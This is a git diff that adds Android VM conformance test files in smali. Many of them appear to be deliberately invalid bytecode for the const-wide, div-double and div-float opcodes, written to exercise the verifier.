+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_4.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide v1, 3456
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali
new file mode 100644
index 0000000..6f419c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_1.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 255
+
+       const-wide/16 v253, 20000
+       return-wide v253
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali
new file mode 100644
index 0000000..f6dc2b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_3.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/16 v3, 1234
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali
new file mode 100644
index 0000000..4c0433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_4.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/16 v1, 3456
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali
new file mode 100644
index 0000000..7ee8b6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_1.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 255
+
+       const-wide/32 v253, 20000000
+       return-wide v253
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali
new file mode 100644
index 0000000..b01c5a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_3.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/32 v3, 1234
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali
new file mode 100644
index 0000000..3cdbe7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_4.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/32 v1, 3456
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali
new file mode 100644
index 0000000..e9f667b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_1.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali
new file mode 100644
index 0000000..fe67afa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_3.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali
new file mode 100644
index 0000000..bbb5346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_4.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v9, v12
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali
new file mode 100644
index 0000000..4318103
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_5.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v14
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali
new file mode 100644
index 0000000..a00da1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_6.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double v0, v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali
new file mode 100644
index 0000000..f9af912
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali
new file mode 100644
index 0000000..b7f5773
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali
new file mode 100644
index 0000000..09aa780
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v9, v12
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali
new file mode 100644
index 0000000..e800943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v14
+       return-wide v10
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali
new file mode 100644
index 0000000..6745394
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double/2addr v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali
new file mode 100644
index 0000000..2981109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_1.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali
new file mode 100644
index 0000000..850b337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float v0, v0, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali
new file mode 100644
index 0000000..3301768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_3.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 1234
+       div-float v0, v7, v0
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali
new file mode 100644
index 0000000..eca8232
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_4.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float v0, v5, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali
new file mode 100644
index 0000000..28c9e34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_5.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali
new file mode 100644
index 0000000..15b987c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_6.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali
new file mode 100644
index 0000000..5b6597d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali
new file mode 100644
index 0000000..8909306
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali

@@ -0,0 +1,34 @@
